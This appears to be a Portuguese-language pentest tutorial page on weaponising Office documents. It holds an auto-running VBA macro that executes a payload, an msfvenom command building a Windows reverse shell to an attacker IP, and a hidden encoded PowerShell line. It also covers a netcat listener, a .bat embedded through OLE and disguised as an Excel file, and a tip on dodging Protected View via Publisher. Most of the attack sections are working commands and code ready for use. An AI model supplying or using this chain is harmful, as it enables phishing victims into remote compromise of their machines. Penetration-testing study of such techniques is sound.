Office Word
Macro (RCE)
Crie um arquivo word (de preferência com a extensão .doc ou .docm) e depois acesse suas macros na tab View > Macros > View Macros. Selecione para salvar a macro no próprio arquivo (na parte de baixo do popup), e depois clique em Create. Feito isso, irá abir uma nova janela com uma macro já escrita (código este, sem funcionalidade, pois é apenas para demonstração), então utilize o código abaixo para gerar a macro maliciosa, alterando é claro, o comando que deseja que o host alvo execute, que está localizado na variável MyPayload.
AutoOpen()
    MyMacro
End Sub
Sub Document_Open()
    EvilMacro
End Sub
Sub EvilMacro()
    Dim MyPayload As String
    MyPayload = "<Aqui irá conter o>"
    MyPayload = MyPayload + "<código que será executado no>"
    MyPayload = MyPayload + "<host alvo>"
    CreateObject("Wscript.Shell").Run MyPayload
End SubA função AutoOpen serve para executar a macro assim que o arquivo for aberto, enquanto o Document_Open serve para executar a macro mesmo se o Word já estiver aberto, então caso alguém clique em Abrir e selecionar o nosso arquivo malicioso, a macro irá ser executado da mesma forma. E por último, temos EvilMacro, que é onde contém de fato a execução do código.
Alguns pontos importantes devem ser notados aqui. O primeiro dele é que, assim que o usuário abrir esse arquivo pela primeira vez, a macro não será executada. Isso porque o Word bloqueia isso por padrão, então o usuário terá que clicar na barra superior informando que realmente deseja executar a macro. Isso é algo muito comum de acontecer, então as pessoas geralmente permitem a execução de macros, devido ser um recurso útil (e é claro, perigoso).
Outro ponto é que, não podemos utilizar variáveis com mais de 255 caracteres no VBA, então por isso dividimos a variável MyPayload em várias linhas, concatenando o seu conteúdo para termos mais de 255 caracteres.
Criando Payload Malicioso
Para isso, podemos utilizar o msfvenom para gerar nosso payload e pegarmos uma reverse shell com netcat.
sudo msfvenom -p windows/shell_reverse_tcp LHOST=<ip_atacante> LPORT=<porta> -f hta-psh -o <file.hta>Como dito, o VBA não irá aceitar strings com mais de 255 caracteres, então devemos quebrá-la em partes. Abra o arquivo .hta gerado com o comando acima e copie somente a parte powershell.exe -nop -w hidden -e <base64>, e quebre-a em partes utilizando o link abaixo (sessão Python), para ver como automatizar essa quebra de strings.
Feito isso, basta alterar o script acima, lembrando de alterar o script do Python para que fique com a variável com o nome MyPayload (caso esteja seguindo este passo-a-passo). 
Agora, abra um listener com o netcat utilizando o comando abaixo e espere que o arquivo malicioso seja executado no host alvo.
nc -nlvp <port>OLE (Object Linking and Embedding)
Neste cenário de ataque, é incorporado um arquivo de lote do Windows em um documento do Microsoft Word. Ou seja, vamos inserir um arquivo .bat dentro de um arquivo docx.
Primeiro crie um arquivo <file.bat>, com o contéudo abaixo. Note que estamos usando o mesmo payload criado no exemplo anterior, através do msfvenom.
START powershell.exe -nop -w hidden -e <base64>Agora crie um arquivo word, depois vá na aba Insert, depois clique em Object (está na seção Text). Ao abrir o popup, clique na aba Create from File, e selecione o arquivo .bat gerado anteriormente, clicando no arquivo Browser. Clicando em Display as icon, irá aparecer um botão abaixo com o nome Change Icon, que nos leva a um novo popup. Selecione o ícone de algum outro software (pode ser o ícone do Excel, para parecer algo mais confiável), e altera o nome para algo como controle.xls (novamente, para parecer algo mais confiável).
No terminal Linux, abra um listener com o comando abaixo:
nc -nlvp <port>Agora uma reverse shell será criada no netcat assim que o arquivo .bat (que está se passando por um xls) for executado.
DICA: Quando um arquivo word/excel é baixado da internet, o Office automaticamente habilita o Modo de Exibição Protegido, para proteger contra esse tipo de ataque. Uma maneira de driblarmos isso, é fazermos o mesmo processo de criar um arquivo malicioso utilizando o Publisher (é basicamente igual o word o processo de criação), já que este não possui mecanismo de defesa. O lado ruim disso, é que poucas pessoas instalam/usam o Publihsher.
Last updated
Was this helpful?
